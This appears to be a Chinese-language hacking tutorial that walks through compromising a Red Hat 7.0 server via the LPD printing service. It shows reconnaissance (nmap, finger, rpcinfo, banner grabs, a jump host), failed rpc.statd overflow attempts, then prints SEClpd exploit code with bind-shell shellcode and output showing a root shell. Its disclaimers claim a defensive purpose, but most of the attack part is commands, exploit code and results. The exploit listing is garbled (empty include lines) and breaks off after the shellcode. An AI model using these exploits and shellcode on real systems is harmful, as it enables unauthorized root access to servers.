Linux就这样被黑客入侵-linux会被入侵吗

此文的目的不在于教人入侵，而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白：由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD：网络打印服务的攻击而进行的。

　　首先确定目标，假设是：www.XXX.com

　　先让俺看看是不是连得上：

以下是引用片段：  
　C:\ping www.XXX.com   
　　Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:   
　　Reply from 202.106.184.200: bytes=32 time=541ms TTL=244   
　　Reply from 202.106.184.200: bytes=32 time=620ms TTL=244   
　　Reply from 202.106.184.200: bytes=32 time=651ms TTL=244   
　　Reply from 202.106.184.200: bytes=32 time=511ms TTL=244   
　　Ping statistics for 202.106.184.200:   
　　Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),   
　　Approximate round trip times in milli-seconds:   
　　Minimum = 511ms, Maximum = 651ms, Average = 580ms   
　　嘻嘻—不但连得上，速度还不错……   
　　先telnet看看banner：   
      　　C:\>telnet www.XXX.com

遗失对主机的连接。

　　再试试ftp，

以下是引用片段：  
C:\>ftp www.XXX.com   
　　Connected to www.fbi.gov.tw.   
　　220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.   
      　　User (www.XXX.com:(none)):

wu-2.6.1看来有点眉目了。这台机器像是RedHat7.0!首先必须确认一下，连上俺的跳板:

以下是引用片段：  
　C:\>telnet xxx.xxx.xxx.xxx   
　　Red Hat Linux release 7.0 (Guinness)   
　　Kernel 2.2.16-22smp on an i686   
　　login: fetdog   
　　Password:   
      　　bash-2.04$

拿nmap扫描器，看看其中的奥妙~~~

以下是引用片段：  
　bash-2.04$nmap -sT -O www.XXX.com   
　　Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )   
　　WARNING! The following files exist and are readable: /usr/local/sha   
　　-services and ./nmap-services. I am choosing /usr/local/share/nmap/   
　　s for security reasons. set NMAPDIR=. to give priority to files in   
　　irectory   
　　Interesting ports on (www.XXX.com):   
　　(The 1520 ports scanned but not shown below are in state: closed)   
　　Port State Service   
　　25/tcp open smtp   
　　79/tcp open finger   
　　80/tcp open http   
　　111/tcp open sunrpc   
　　113/tcp open auth   
　　443/tcp open https   
　　513/tcp open login   
　　514/tcp open shell   
　　515/tcp open printer   
　　587/tcp open submission   
　　1024/tcp open kdm   
　　TCP Sequence Prediction: Class=random positive increments   
　　Difficulty=3247917 (Good luck!)   
　　Remote operating system guess: Linux 2.1.122 - 2.2.16   
      　　Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds

打开的端口还挺多，这意味着入侵的可能性增加。79/tcp open finger ，先看看这个，不过linux没有finger用户列表这个漏洞。

#p#

以下是引用片段：  
　bash-2.04$finger @www.XXX.com   
　　[www.XXX.com]   
      　　No one logged on.

再看看111/tcp open sunrpc 。近来rpc漏洞风行，不知道RH7这个东东会不会有?先看看再说!

以下是引用片段：  
　bash-2.04$rpcinfo -p www.XXX.com   
　　program vers proto port service   
　　100000 2 tcp 111 rpcbind   
　　100000 2 udp 111 rpcbind   
　　100021 1 udp 1024 nlockmgr   
　　100021 3 udp 1024 nlockmgr   
　　100024 1 udp 1025 status   
      　　100024 1 tcp 1024 status

看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。

以下是引用片段：  
　bash-2.04$./statdx -h   
　　statdx by ron1n   
　　Usage: stat [-t] [-p port] [-a addr] [-l len]   
　　[-o offset] [-w num] [-s secs] [-d type]   
　　-t attack a tcp dispatcher [udp]   
　　-p rpc.statd serves requests on [query]   
　　-a the stack address of the buffer is   
　　-l the length of the buffer is [1024]   
　　-o the offset to return to is [600]   
　　-w the number of dwords to wipe is [9]   
　　-s set timeout in seconds to [5]   
　　-d use a hardcoded   
　　Available types:   
　　0 Redhat 6.2 (nfs-utils-0.1.6-2)   
　　1 Redhat 6.1 (knfsd-1.4.7-7)   
　　2 Redhat 6.0 (knfsd-1.2.2-4)   
　　看来并不支持RH7。还是继续尝试，把0-2全部试试看再说!start……   
　　bash-2.04$stat -d 0 www.XXX.com   
　　buffer: 0xbffff314 length: 999 (+str/+nul)   
　　target: 0xbffff718 new: 0xbffff56c (offset: 600)   
　　wiping 9 dwords   
　　Failed - statd returned res_stat: (failure) state: 21   
　　受挫，再试……   
　　bash-2.04$stat -d 1 www.XXX.com   
　　buffer: 0xbffff314 length: 999 (+str/+nul)   
　　target: 0xbffff718 new: 0xbffff56c (offset: 600)   
　　wiping 9 dwords   
　　Failed - statd returned res_stat: (failure) state: 21

一样``继续
#p#

以下是引用片段：  
　bash-2.04$stat -d 1 www.XXX.com   
　　buffer: 0xbffff314 length: 999 (+str/+nul)   
　　target: 0xbffff718 new: 0xbffff56c (offset: 600)   
　　wiping 9 dwords   
      　　Failed - statd returned res_stat: (failure) state: 21

rpc.statd行不通，想想RH7应该有个远程溢出，好像是lp服务造成的。“seclpd.c”应该是这个东东了。

　　 —————以下代码仅供教学使用，决不能用来进行恶意攻击—————

以下是引用片段：  
　/*   
　　* Welcome to http://hlc.cnroot.com/   
　　* Run: ./SEClpd victim brute -t type   
　　* Try first ./SEClpd victim -t 0 then try the brute.   
　　*/   
　　#include   
　　#include   
　　#include   
　　#include   
　　#include   
　　#include   
　　#include   
　　#include   
　　#include   
　　#include   
　　#include   
　　#include   
　　#define ADDRESS_BUFFER_SIZE 32+4   
　　#define APPEND_BUFFER_SIZE 52   
　　#define FORMAT_LENGTH 512-8   
　　#define NOPCOUNT 200   
　　#define SHELLCODE_COUNT 1030   
　　#define DELAY 50000 /* usecs */   
　　#define OFFSET_LIMIT 5000   
　　char shellcode[] =   
　　"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"   
　　"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"   
　　"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"   
　　"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"   
　　"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"   
　　"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"   
　　"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"   
　　"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"   
      　　"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

brute暴力破解。等上5-8分钟左右，结果出来了。

以下是引用片段：  
　- [+] shell located on www.XXX.com   
　　- [+] Enter Commands at will   
　　Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown   
      　　uid=0(root) gid=7(lp)

uid=0(root权限)，现在可以近一步入侵!但不要做坏事!

看了上文我们知道黑客主要是围绕LPD：网络打印服务的攻击而进行的。再提醒一句本文目的不在于教你如何入侵linux，而是希望以后大家加强安全，有一定的网络安全防范意识。

【编辑推荐】